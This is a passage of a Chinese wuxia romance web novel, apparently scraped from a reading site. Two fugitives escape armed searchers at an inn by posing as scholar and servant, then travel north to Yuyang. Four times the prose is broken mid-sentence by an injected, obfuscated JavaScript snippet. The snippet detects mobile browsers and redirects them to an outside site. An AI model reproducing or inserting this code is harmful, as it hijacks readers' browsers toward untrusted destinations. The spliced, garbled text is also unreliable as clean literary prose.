虚怀谷一脸痛惜，劝道：“即便如此，也不用这样。这样岂不是亏大了？你再这般，与其死当给当铺，还不如典当给我呢。”说完他忍不住瞪了风随柳一眼，一副“你真是个败家子”的痛惜模样。不过瞪完他立刻意识到自己有些冒昧了。经过这一日一夜的相处，两人已不知不觉亲近起来，虚怀谷也不似之前那般谨慎疏离，难免有时会恢复几分原本性情。 风随柳却不以为意，然而心头微动。他乃是一教之主，说句坐拥万贯家财也不夸张，一船价值十万两的货物损失殆尽，也未曾放在心上，且那艘商船本身也造价高昂。这枚玉环虽是他珍爱之物，却也算不得什么。可此刻见虚怀谷这般为他心疼、为他计较的模样，却觉得十分可爱，心头更是泛起从未有过的暖意。 他灵机一动，顺势便将那枚玉环塞到了虚怀谷手中，指尖在他手心处不易察觉地停留了片刻，语气带着几分不容拒绝的认真，道：“你既如此说，这枚玉环便赠于你。你便当是我死当给你的，这一路至玉阳的花销，便皆由你承担了，如何？” “这……”虚怀谷反而愣住，慌忙道：“即便如此，这一路花销再多，也抵不上这玉环十分之一的价值啊！” “我说值得，便值得。”风随柳的脸色微微一沉，语气里带着几分不易察觉的执拗，手指轻轻按住他的手腕，不让他将玉环递回来，眼底翻涌着连自己都不曾理清的情愫——他欠他的，从来不止一条命，这世间最难得的，是真心。 他不容拒绝地沉声道：“你我二人，非要这般算计得清清楚楚吗？那你救我一命，又价值几何？” 虚怀谷见他神色不悦，呐呐道：“不能这么算，你也救过我……罢了罢了，你说了算，我收下便是。”说着便将那枚还带有风随柳体温的玉环小心翼翼地揣入怀中。 那温热的触感透过衣料传来，仿佛还能感受到风随柳身上的余温，虚怀谷心头一热，昨夜破庙里肌肤相拥的回忆不受控制地涌上心头，连耳根都烧了起来。 “咳咳……”他赶紧轻咳两声，强行打断纷乱的思绪，移开目光，慌忙转移话题：“那、那我们去客栈吧，先歇息一晚，明日再赶路。” 他们寻了镇上最大的一家客栈。这家客栈仅有两间天字号上房，一间已经有人入住，还剩一间，虚怀谷便想留给风随柳，自己随便住间地字号的即可。可他刚要开口，风随柳却暗中握住他的手腕，俯身过来，在他耳边悄声道：“如今我们危机未除，不知那些刺客会不会追来，你我二人最好住在一起，互相有个照应，遇事也能及时应对。” 虚怀谷闻言，觉得言之有理，原本想定两间房的话便也换成：“掌柜的，我们定一间天字号上房即可。” 那掌柜的看了他们二人一眼，只是觉得他们虽然衣衫普通，气度却是不凡。尤其是风随柳，容貌实在俊美异常，若不是他身形高挑挺拔，眉眼间带着几分让人不敢靠近的冷峻，掌柜的都要怀疑他是女扮男装了。他没敢细问，生怕得罪了客人，赶紧给他们办理手续，让店小二带他们上楼。 虚怀谷掏出五十两的银票，掌柜的当即压到六折，让他一阵心疼。不过虚怀谷也清楚，这偏远小镇，唯有到州府才能找到钱庄兑换，路途遥远且凶险，人家压价也是有道理的，因而只能认栽。 风随柳将这一切看在眼里，不由唇角轻轻勾起，扬起一抹不易察觉的轻笑。他用指尖轻轻碰了碰虚怀谷的手背，眼底带着几分安抚。虚怀谷看见，心头的心疼竟瞬间淡了下去。 店小二领着他们进了房间，陈设还算雅致，虚怀谷让店小二送来晚饭和热水，便打发他下去了。 房间里只剩二人，空气瞬间变得有些灼热起来，虚怀谷莫名觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507918|202478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 局促，手脚都不知该往哪里放，轻咳一声，避开风随柳的目光，道：“待会儿热水便来，你先沐浴洗漱吧，今日赶了一天路，也累了。” 今日他们赶了一天路，风尘仆仆，尤其是风随柳，他素来好洁，昨夜在冰冷的江水中泡了一夜，内力散尽，又未曾服用回春丹这等大补的丹药，周身还带着未散的寒意，此刻确实需要好好泡个热水澡。 他没有推辞，只是深深看了虚怀谷一眼，应了一声。 反而虚怀谷这一弱质书生，今日奔波了一天竟丝毫不见疲惫，反而精神抖擞，浑身好似有用不完的力气。此时他才后知后觉地察觉，清晨风随柳让他服下的那枚丹药，定然是极为珍贵的奇丹，不然怎会有这般奇效。 他偷偷瞥了一眼风随柳，见他正坐在桌边，指尖轻轻摩挲着茶杯边缘，侧脸的轮廓在灯光下显得格外柔和，心头不由泛起一阵难以形容的感受，酸酸的、甜甜的、暖暖的……温柔缱绻，无法言述。 二人用过晚膳，店家便送来了热水，风随柳起身，没有丝毫避讳，转身走到屏风后，宽衣解带的窸窣声传入耳中，虚怀谷只觉得浑身燥热，心跳快得几乎要冲出胸膛。 待屏风后传来了水声，虚怀谷终于坐不住了。他不敢再听，慌忙找了个借口，道：“你、你先洗着，我出去转转，打听一下前往玉阳的路，顺便看看有没有什么异常动静。” 屏风后的水声微微一顿，随即传来风随柳低沉温润的声音，他轻轻叮嘱道：“小心些，别走太远，尽快回来。”那声音透过水声传来，带着几分朦胧的温柔，让虚怀谷的心跳更乱了。 “好。”他几乎是夺门而出。 此时天色已黑，北地冬日寒冷，街上已经几无行人。虚怀谷也没有出去，而是在大堂找了个角落的位置坐下，叫了一壶热茶，双手捧着茶杯，试图平复心头的慌乱，可脑海里，却全是风随柳的身影——他的眉眼，他的声音，他指尖的温度，他白皙矫健的身形…… 停停停！ 虚怀谷以手抚额，支着面颊，只觉自己可能是在寒冷的夜江里泡得太久，脑壳坏掉了。不能再想了！ 虚怀谷接连给自己灌了三杯热茶，才算冷静来。 过了大约两刻钟，他估摸着风随柳差不多该沐浴完毕了，正准备起身上楼，忽听得“砰”的一声巨响，客栈的大门被人从外面粗鲁地踹开，门板撞在墙上，发出刺耳的声响，打破了大堂的寂静。 四名身材矫健、身着玄色劲装的江湖人鱼贯而入。他们身形挺拔，周身散发着凛冽的冷肃之气，腰间佩着长刀，步伐沉稳，眼神锐利如鹰，扫过大堂的每一个角落，让整个大堂的温度瞬间降至冰点。 虚怀谷的心脏猛地一缩，下意识地低下了头，将自己的脸埋在茶杯的热气之后，指尖紧紧攥着茶杯，连呼吸都变得小心翼翼起来。 16.第 16 章 闯进客栈的几人中，为首的那名劲装男子面容冷峻，眉眼间带着几分狠戾，径直走到柜台前，手中的长刀“哐当”一声拍在柜台上，力道之大，震得柜台的算盘都跳了起来。 他语气冰冷刺骨，带着不容置疑的威压，喝道：“掌柜的，过来。” 掌柜的吓得浑身发抖，脸色惨白，哆哆嗦嗦地走到柜台前，声音发颤：“客、客官，不知您有何贵干？” 那为首的男子眉头一皱，从怀中掏出一张画像，狠狠拍在柜台上，声音低沉而冰冷，带着杀意：“你可曾见过此人？” 掌柜的慌忙弯腰，眯着眼睛仔细看去，看了许久，才一脸为难地摇了摇头，声音依旧发颤：“客官，对、对不起，这人戴着面纱，看不清面容，小的……小的没见过。” 掌柜的活了这么多年，第一见到画像上画个戴面纱的……哪怕露双眼睛也好啊，这不是为难人么。 “废物！”为首的男子低喝一声，眼神愈发凶狠。他也知道这画像是有些不靠谱了，但他也没奈何啊。他的长刀在柜台上轻轻摩挲着，发出刺耳的摩擦声，又问道：“这人应该年约三十几许、满头白发，大概这么高，身形挺拔，气质清冷。身边可能跟着人，也可能没有。你再仔细想想，见过没有！？” 虚怀谷的心脏猛地一沉，浑身的血液仿佛都凝固了，指尖攥得更紧，几乎要将茶杯捏碎。 他们找的，分明就是他和风随柳！风随柳此刻还在楼上沐浴，内力未复，若是被他们发现，后果不堪设想！ 他强压着心头翻涌的恐慌，屏住呼吸，连大气都不敢喘，趁着那几人注意力全集中在掌柜身上，悄悄起身。他坐的位置离后厨极近，隐约记得后厨旁有一道狭窄的小楼梯，也能直通二楼。万幸的是那些人满心都是找人，并未留意他这个不起眼的“寻常书生”，任由他悄无声息地溜向了后厨方向。 此时掌柜的吓得双腿发软，连忙仔细回想，半晌才摇了摇头，声音里都带着哭腔道：“客官，满头白发的，小的倒是见过几个，可都是五六十岁的长者，三十几许的……小的确实从未见过啊！” 首的男子眼神一冷，显然不信，挥手示意身边的三名手下：“搜！把整个客栈都搜一遍，尤其是天字号上房，一个角落都不许放过！就算挖地三尺，也要把人找出来！” “是！”三名劲装男子齐声应道，拔出腰间的长刀，刀刃在烛火下泛着森寒的光芒，朝着楼梯的方向走去。 掌柜的吓得魂不附体，却也不敢阻拦，只能偷偷给身边的店小二使了个眼色，示意他从后门溜出去报官。 店小二心领神会，趁着众人不注意，猫着腰溜到后门，可刚拉开一条门缝，就见一名劲装大汉双手抱胸，面无表情地守在门外，眼神锐利如鹰，显然是早有防备。店小二吓得浑身一僵，连忙悄无声息地挪回了大堂，大气都不敢出。 另一边，虚怀谷顺着小楼梯匆匆上了二楼，可这楼梯通向的方位，与店小二之前领他们上楼的方向截然不同，四周房间模样相似，他一时竟分不清哪间才是他们的天字号上房。就在他焦急地四处寻找，终于找到房门口时，两道身影突然从拐角处拐了过来，与他撞了个正着——正是为首的劲装男子和他的一名手下。 “站住！你是哪间房的？在这里鬼鬼祟祟做什么？！”为首那男子厉声喝问，眼神如刀，死死盯着虚怀谷，周身威压摄人。 虚怀谷面色瞬间惨白，双腿控制不住地发抖，手心全是冷汗，可危急关头，心底的恐慌反而被强行压了下去，多了几分急智。他强迫自己冷静下来，脸上挤出一丝怯懦的神情，故作小心地躬身道：“这、这位壮士，我是这间天字号上房的客人。不知您几位是……是官差大人吗？” 就在这时，相隔不远的另一间天字号上房突然传来激烈的喝斥与吵闹声，夹杂着桌椅碰撞的脆响。 “你们干什么？谁让你们私自闯进来搜查的？滚出去！” “喂，我家老爷说了不许碰我们的东西！你们再这样我们要报官了……” “闭嘴！再敢多嘴，休怪老子刀下无情！” 显然是那间上房的客人不肯配合搜查，与另外两名劲装大汉起了冲突，可不过片刻功夫，吵闹声就戛然而止，只剩下几声压抑的闷哼，想来是被对方暴力镇压了。 虚怀谷面前的男子面色丝毫未变，只是眉头皱得更紧，横眉冷目地盯着虚怀谷，语气里满是冷煞：“少废话，劝你不要多管闲事，也不要多问。赶紧开门，带我们去你的房间搜查！” 虚怀谷装作更加胆怯的样子，缩了缩肩膀，声音颤巍巍地道：“壮、壮士，我只是个寻常赶路的书生，安分守己，从没做过违法乱纪的事啊。您几位是不是找错人了？” “少啰嗦！让你开门就开门，哪来这么多废话！”那人身边的手下不耐烦了，上前一步就要推搡虚怀谷，眼神凶狠。 “壮士别动手！我开，我开！”虚怀谷慌忙侧身躲开，一边假意去开门，一边急得额头冒汗，心里暗自焦急，不知风随柳有没有听到外面的动静。 就在这千钧一发之际，房门突然“吱呀”一声从里面缓缓打开。风随柳披着一件宽松的月白色外袍，领口微敞，乌黑的长发湿漉漉地披在肩头，几缕发丝贴在颈间，愈发衬得肌肤莹白如雪。他腰肢纤细，身形显得格外柔弱，脸上带着几分刚沐浴后的慵懒，眉眼柔和，眼神怯怯的，一副弱不经风的样子，全然没有往日的高冷疏离，完全变了一个人。 他微微垂着眼，指尖轻轻拽了拽虚怀谷的衣袖，语气带着几分委屈与依赖，声音甜腻腻地道：“公子，您不是去楼下找店家要酒了吗？怎么去了这么久？让奴等得好着急……” 虚怀谷心头一震。从看到风随柳开门的第一眼他就有些呆滞，此时更是有些懵然。他隐约觉得风随柳的容貌似乎有些微改变，可细观眉眼轮廓，分明还是那人。只是往日里那股清绝冷艳、锋芒逼人的气韵尽数褪去，反倒添了几分温婉柔态，瞧着寻常了许多。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507919|202478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不知道江湖上有一门学问叫“易容术”。风随柳虽不精于此道，但稍作修饰却绰绰有余。仅凭手头现有的一些工具，略作修饰改容，便令自己的形貌气质与从前判若两人，再无半分昔日的矜贵风华。 虚怀谷懵了一瞬，直到风随柳暗中捏了捏他的胳膊，才回过神来，连忙压下心底的波澜，配合着摆出一副略带不耐的神色，抬手拍了拍风随柳的手背，语气里似乎带着几分呵斥，实则藏着几分宠溺和纵容，道：“你慌什么？没看见几位壮士在此查案吗？休得无礼。” 风随柳吓得浑身一颤，连忙低下头，双手交叠放在身前，一副畏畏缩缩、不敢多言的模样。 为首的劲装男子皱着眉，目光在风随柳身上扫过，只见这人大约十八九岁的模样，黑发垂肩，面容清秀，眉眼间带着几分柔媚，气息怯弱，与他要找的“三十几许、满头白发、气质清冷”的中年人判若两人。他又转头打量了虚怀谷一番，见虚怀谷衣着虽普通，却带着几分书生的儒雅，周身并无异常，也没有与画像上任何特征相符的地方。 听他二人的口音，似乎是从文国那边来的。听说那边南风盛行，有个王爷还娶了一位男王妃。上行下效，这两人只怕也不是什么正当的主仆关系。 为首男子心中腹诽了一圈二人的关系，语气依旧冰冷，沉声问道：“你房里就你们两个人？” “是是是，就我们两个。”虚怀谷连忙点头，主动侧身让他们进去，脸上堆着一丝讨好的笑意，道：“壮士尽管搜，我们没什么可藏的。这孩子是我路上收的，胆小得很，还望壮士们手下留情，别吓着他。” 风随柳配合地往他身后躲得更深。 两名劲装男子走进房间，翻箱倒柜地搜查起来，床底、衣柜、屏风后，每一个角落都查得仔仔细细，连被褥都被翻得乱七八糟。风随柳始终垂着头，站在虚怀谷身后，轻轻扯着他的衣袖，一副吓得浑身发抖的样子，时不时偷偷往虚怀谷身后躲，演技惟妙惟肖。 虚怀谷表面镇定，心里却捏着一把汗，目光紧紧盯着那两人，生怕他们发现什么破绽。好在房间里本就没什么异常，他们在之前的村落便换了普通衣衫，原先的外衫——尤其是风随柳那件染血的名贵紫袍，早已经在半路处理了。因此那些人搜了半晌，什么都没找到。 “大哥，没发现异常，这房间里就他们两个人，那书生也不是白发，年龄也对不上。”手下搜查完毕，走到为首男子身边，看了虚怀谷一眼，低声禀报。 为首男子眼神沉了沉，又扫了风随柳一眼，见他依旧一副怯生生的模样，没有丝毫破绽，再看虚怀谷，也始终是一副温顺讨好的样子，不像是在撒谎。不由冷哼一声，语气里满是不耐：“走！去其他房间搜！”说完，他就带着手下转身离开了。 虚怀谷直到那两道身影彻底消失在走廊尽头，才长长地舒了一口气，连忙关上房门，浑身的力气都仿佛瞬间被抽干了一样，踉跄一步，背靠在门框上，手心里全是冷汗。 17.第 17 章 风随柳收起了那副怯弱的模样，脸上恢复了往日的清冷，只是眼底还带着几分凝重。他走上前，轻轻扶了虚怀谷一把，语气关切地问道：“你没事吧？刚才吓到了？” 虚怀谷摇了摇头，定了定神，抬头看向风随柳，脸上满是凝重：“没事，只是没想到他们追得这么快。看来背后追杀你的人，势力远比我们想象的要强大。” 风随柳点了点头，神色愈发凝重：“他们应该是沿着支流附近的城镇一路追过来的。好在他们不知道我散功之后，满头白发尽数变黑，也不清楚我的实际年龄，只凭着传闻，以为我是三十几许的中年人，这才被我们蒙混过关。” 虚怀谷闻言，眼底突然泛起一丝好奇，犹豫了片刻，还是忍不住问道：“风随柳，我一直想问……你到底多大了？你现在这般模样，看上去比慕风大不了几岁，莫非你年纪比我小？” 风随柳闻言，忍不住轻笑出声，道：“那你是想多了。我今年二十八岁，比你整整大了七岁有余。”刚相识时二人闲聊，虚怀谷曾说过自己今年二十有一。 虚怀谷愣住了，他看着风随柳的面容，实在难以将眼前这个俊美清冷、看上去最多二十出头的人，与二十八岁联系在一起。他愣了半晌，才道：“原来你已经二十有八了，我还以为你我年纪差不多大呢。” 风随柳看着他一脸错愕的模样，嘴角勾起一抹极淡的笑意，眼底的凝重都消散了几分，语气带着几分温和，道：“我自幼习武，有内力傍身，自然显得年轻些。” 这倒是驻颜有术了。 虚怀谷暗自羡慕风随柳有武功，但想起正事，又连忙换回话题，问道：“外面全是追兵，我们如今该怎么办？要不要即刻动身离开这里？” 风随柳却淡定地道：“不必急。他们方才刚搜查过这间客栈，短时间内绝不会再疑心此处。眼下已经入夜，外面地冻天寒，我们就在此安歇一夜，等明日天光大亮再走也不迟。” 虚怀谷心头还是有些惴惴，风随柳瞧了出来，语气温柔了几分，轻声安抚道：“莫怕。我十六岁便踏入江湖，经过的风浪不计其数，这般阵仗，我还应付得来。那些人寻不到我们便会自行退去，不然会引起官府的注意，对他们有害无利。你放心，我虽武功大减，却也定会拼尽全力，护你周全。” 这番话如暖流般淌进虚怀谷心底，让他瞬间安定下来。他忙抬眸回视风随柳，也表达了一番自己的心意：“你放心，我不怕。我也定会力所能及的护着你的。” 风随柳不由也是心中一暖，轻声道：“这次是我连累你了。” 虚怀谷忙不迭地摇头道：“千万不要这样说。当初决意随你一同北上，是我自己思虑过后做出的决定。遇到这样的变故也非你本意，日后切莫再提‘连累’二字，伤了我们彼此的情分。” 风随柳听他这么一说，眸中似有星光闪落，痛快地道：“好，此话日后我再也不提。但你我二人携手，共渡难关的这份情谊，我风随柳必铭记一生，永不相忘。” 虚怀谷被他深邃认真的双眸注视着，再听着他的温言快语，不由心口一热，面上生霞，有些局促地转移话题道：“今、今晚你睡床上，我、我打个地铺。” 说着便要起身。谁知风随柳却一把握住他的手腕，道：“不必，你我同睡一床即可。” “啊、这……”虚怀谷瞬间僵住，活像个初入洞房、手足无措的新郎官。昏黄的烛火摇曳，将风随柳白皙俊美的面容映得愈发柔和，长长的睫毛微微垂下，掩住那有些羞涩的双眸。虚怀谷只觉浑身像是有一簇火苗在缓缓燃烧，连呼吸都变得有些急促。 “咳……”风随柳轻咳一声，别开目光，找了个借口圆场，道：“方才在那些人面前，我们已然演了一场戏……你便当我是你收了房的小倌，同床共枕才合乎情理。万一那些人半夜折返回来，我们也不至于露了破绽。” 虚怀谷心头隐隐清楚，那些人多半不会再折返，这些不过是他的托词，可话到嘴边，却只是顺着台阶应了下来，脸颊红得快要滴血，低声嗫嚅道：“哦、哦好，那、那便听你的。” 风随柳不再多言，翻身挪到床榻内侧躺下，背对着他，周身的气息渐渐沉静下来。 虚怀谷走到桌边，轻轻吹熄了烛火，屋内瞬间陷入一片昏暗中，唯有窗外透进来的微弱月光，勾勒出床榻的轮廓。他缓步走回床边，暗自给自己打气，心道昨夜他们已然有过那般亲近，如今同床共枕，倒也不算什么。这般想着，他咬了咬牙，褪去外衣，小心翼翼地躺上了床榻，尽量避开风随柳的身子，生怕惊扰了他。 他原以为自己会辗转反侧、难以入眠，可连日来的奔波劳累早已耗尽了心神，脑袋刚一沾到柔软的枕头，鼻尖萦绕着风随柳身上那股似乎已经沁入骨髓的松竹之气，竟让他紧绷的神经渐渐放松下来，不多时便沉沉睡了过去，呼吸均匀而绵长。 这一夜窗外寒风朔朔，客栈的房间里虽然摆着炭盆，可寒气依旧钻缝而入，透着几分刺骨的幽冷。睡梦中的虚怀谷下意识地循着身侧那一点微弱的热源，缓缓拱了过去，不知不觉便紧紧依偎在了风随柳身侧。 风随柳一直在闭目调息，感觉到身旁人的动静，不由侧头看去。借着微弱的月光，瞧见虚怀谷睡得浑然忘我，眉头舒展的样子，不由嘴角流露出一抹笑意，轻轻往他那边挪了挪，让他依偎得更暖和一些。 当意识到自己在做什么后，风随柳不由暗中摸了摸自己的心口。 风随柳，你完了！ 他缓缓闭上眼睛，不再去想那些纷乱的心思。身旁人的呼吸均匀而温暖，伴着窗外的寒风，竟也让他紧绷了许久的心弦渐渐松弛下来，不知不觉间，竟也安然坠入了梦乡。 二人昨夜原还盘算着，天一亮便退房动身，避开可能残留的追兵，谁知这一夜睡得竟格外沉酣，待醒来时，窗外早已是天光大亮。 风随柳睁开眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507920|202478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时，还有些发懵，一时竟没反应过来自己身处何处。他自小便习武，作息极为规律，每日天不亮便起身练气，这般睡到日上三竿的情形，竟是生平头一遭。 感觉到身旁温热的身躯，风随柳缓缓回过神来，侧头望去，见虚怀谷依旧沉睡未醒。 望着他熟睡的模样，风随柳心头竟生出几分不忍叫醒他的念头。可转念一想，追兵未散，前路未卜，耽搁得越久，便越多一分危险。于是终于还是压下了心底的那一丝疼惜之意，伸手轻轻推了推虚怀谷的肩头，唤道：“怀谷，醒醒，我们该起身了。” 虚怀谷迷迷糊糊地醒来，才发现竟然起来晚了。 二人不敢耽搁，匆匆起身洗漱妥当，仔细收拾好随身物品，便相携下楼。用过简单的早膳后，虚怀谷叮嘱店小二备上足够几日食用的干粮，二人便踏着晨露，正式踏上了向北的行程。 他们先绕道去了城中的车马行，将之前代步的驴车折价变卖，换了一辆身形轻便、不易引人注目的马车，又寻了家僻静的布庄，添置了几身符合书生公子与随行小厮身份的衣物。 此后数日，他们始终维持着书生公子与小厮的伪装。虚怀谷本就是秀才出身，自幼饱读诗书，扮起温文尔雅的书生公子，端的是本色出演，举手投足间皆是书卷气，毫无破绽。反倒是风随柳，往日里是那般武艺高强、清冷沉稳，周身自带一股生人勿近的凛冽气场，如今却要刻意收敛起所有锋芒，扮作一副娇怯柔媚、乖顺听话的小厮模样，这般巨大的反差，常常让虚怀谷暗自瞠目。 更难得的是，风随柳不仅在有人时言行举止间处处透着对“公子”的依赖与顺从，即便身处无人之地，也从未有过半分松懈。他心中清楚，那些追兵定然还在身后紧追不舍，江湖险恶，哪怕是一丝微不足道的破绽，都可能招来杀身之祸。 对于风随柳的这份谨慎，虚怀谷十分认同，只因他也是这般心思缜密之人。正因如此，二人一路配合得愈发默契，从最初的略显生涩拘谨，到后来的浑然天成，演技日渐纯熟，一路向北，竟未曾露出半点马脚。 二人一路小心谨慎，晓行夜宿，走了七八日，终于抵达了玉阳。 站在玉阳城外，望着城门上的“玉阳”二字，虚怀谷长长舒了一口气，连日来的紧绷终于有了一丝缓和，带着几分不易察觉的愉悦，转头问身旁的风随柳道：“总算到了玉阳，这下我们应该安全了吧？” 风随柳却没有半分松懈，反而眼底掠过一丝深邃的寒意，语气凝重：“未必。这几日我们途经几处城镇，我每到一处都暗中仔细探查，却始终没有看到我神冥教用于联络的暗号。我失踪多日，教中不可能毫无动静，按常理，早应派人出来接应我。可我们这一路行来，别说接应的人，就连半个教中子弟的身影都未曾见到，此事太过反常，其中定然有蹊跷。” 听他这么一说，虚怀谷也是心口一沉，心中刚升起的那丝轻松瞬间消散得一干二净。 18.第 18 章 虚怀谷问道：“那我们现下该如何是好？” 风随柳道：“不急。我们先入城，找一家僻静的客栈安顿下来，避开旁人的耳目。之后我再暗中联络教中亲信，打探一下神冥教如今的动向。” “好。” 风随柳此刻已经做了简单的易容。他虽自被立为少教主以来便一直遮面行事，但教中还是有一些长辈和心腹见过他少时模样，若是有心推演，还是有可能猜出他现在的容貌。那夜的刺客有备而来，若说船上无人接应必不可能。既然教中大概率出了叛徒，那么对方探查清楚他的实际年岁与容貌，也并非难事。为防万一，他不得不略作易容。之前小镇被追查那夜他匆促伪装，现下则将自己修饰得更为娇媚阴柔了些，恰好与他此刻的清秀“小厮”的身份相得益彰，更能掩人耳目。 至于虚怀谷，便无需这般谨慎了。他与风随柳本是在范州萍水相逢，不过是风随柳“无意中”招揽的一位书生商人，身份普通，毫无特殊之处，消息根本不可能传到神冥教内部。即便船上有叛徒，想来也不会留意到这样一个不起眼的弱质书生。更何况，那日二人一同跌落江中，亲眼所见之人本就不多，再加上大船很快便沉没，众人皆是自顾不暇，谁也不会想到，就是这样一位看似手无缚鸡之力的书生，竟会在寒江之中，救下了堂堂神冥教教主。 二人进了城，找了一家客栈住下。放下行囊后，虚怀谷便陪着风随柳出了客栈，慢悠悠地在城中转悠起来。 他们逛了车水马龙的长街，在人流如织的巷口茶摊品了一壶当地特色茗茶，又寻了城中最是喧嚣热闹的酒楼，点了几样特色小菜，慢悠悠地用过晚膳，听了一肚子乱七八糟的消息，这才踏着暮色，闲闲地往客栈折返。 这一路风随柳不动声色地留意着城中的动静。神冥教在这里有堂口，纵然近些年来行事低调，也是这城中响当当的一号势力，但凡有个风吹草动，断没有无人提及的道理。然他们一个下午，都没有听说最近城内有什么稀奇事情发生。即便偶尔听人提及神冥教，也不过是些教中弟子采买、迎客的寻常事务，竟没有半分异常。 没有异常便是最大的异常。玉阳堂口这般风平浪静，要么是尚未得知教主失踪的消息，要么便是有人刻意封锁了消息，半点风声也没有传出。 “不对劲，太不对劲了。”风随柳忽然停下脚步，拉着虚怀谷的衣袖悄悄地躲进一条僻静的小巷，神色凝重地道：“我失踪这么久，教中核心弟子不可能一无所知，更何况那些追杀我们的人，十有八九与教内有关。可如今教内却风平浪静，一点风声都没有，这背后定然藏着猫腻。” 虚怀谷心头也是一沉，眉头拧起，低声应道：“你的意思是，教内有人故意隐瞒了你失踪的消息？” “多半是这样。”风随柳缓缓点头，修长的手指在袖中悄然握紧了软鞭的鞭柄，眼底掠过一丝冷冽的寒芒，沉声道：“那日在船上，必然有教内内应通风报信。我如今内力仅剩三成，还要压制体内残余的几丝毒素，无法动武。若是贸然回教，很可能是自投罗网。更何况眼下教内情形不明，回去只怕会陷入更大的危机。” 虚怀谷忙问道：“那我们现在怎么办？总不能一直待在玉阳吧？” 风随柳垂眸思索片刻，心里有了决断，抬眼看向虚怀谷，缓声道：“玉阳的堂口已然不可信任，我万万不能回去。慕风如今还在芜城，也不知情形如何，我也不大放心……我打算先带你去灵隐谷，找我爹爹柳冥。他医术高明，定能帮我化解体内毒素、恢复武功。唯有恢复了武功，后续的事，我才能更有把握。” 江湖人素来以武力论尊卑。没有武功傍身，就仿佛脱了水的鱼，早晚任人宰割。 风随柳这些时日虽日日调息，可内力损耗过重，仅剩三成，还要分心压制残余毒素。若是遇到敌人，恐怕难以自保。无力还手，这是他绝对无法忍受的，更何况，他还要护着身边这个毫无武功的人。 虚怀谷从未听过灵隐谷的名号，却没有半分迟疑，只望着风随柳，认真道：“好，你说去哪，我们就去哪。无论前路如何，我都陪着你。” 风随柳闻言，不由心中一暖，轻轻倚靠他身旁，语气柔和，带着几分歉意道：“委屈你了，又要跟着我四处奔波。等过了这阵子，风波平息，我定不会再让你受这般苦。” “我不觉得苦。”虚怀谷早已习惯了二人平日里公子与小厮的伪装，顺势自然地揽住他的肩，轻轻摇了摇头，眼底漾开一抹温柔的笑意，面带宠溺地道：“只要能陪着你顺利度过这次危机，便什么都值得。” “公子，你真好。”风随柳柔声说着，微微垂下眼眸，心底有些惋惜他的手怎么不再往下一些呢，若是能搂着自己的腰就好了。 二人依旧维持着公子与小厮的模样，并肩走出小巷，脚步放缓，缓缓往客栈走去。风随柳的眼角，却微不可查地往巷外那棵枝繁叶茂的大柳树后瞥了一眼，眼底闪过一丝不易察觉地警惕和思索。 虽说他如今功力大减，可多年在江湖中历练出的警觉性却半点未减。方才在巷中说话时，他便察觉有一道视线在暗中窥探，故而故意压低声音，又借着与虚怀谷的亲密姿态，掩人耳目。好在虚怀谷默契十足，全程配合得毫无破绽，直到二人回到客栈，他也未曾察觉方才那道暗中的视线。 盯梢那人武功不高，并非神冥教的人。风随柳来过玉阳城多次，对这里的江湖势力了如指掌，方才那匆匆一瞥，便认出那人应是牙帮的人。 牙帮是玉阳城内的本土小门派，势力不算雄厚，却鱼龙混杂，三教九流皆有，平日里专做打探消息、寻人寻物的营生，偶尔也充当掮客，做些牵线搭桥的买卖。这牙帮的帮众大多武艺平平，也极少参与江湖中的打打杀杀——参与也参与不进去，还没那个资格。但这牙帮却胜在消息灵通，帮众遍布全城，上至街头地痞流氓，下至巷尾孩童乞丐，都可能是他们的眼线。风随柳从前也曾用过他们两回，让他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507921|202478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们在城内外盯人、寻物，倒是十分方便。因而他心里明白，定是有人暗中雇佣了牙帮，让他们四处寻人，而那要找的人，十有八九便是自己。 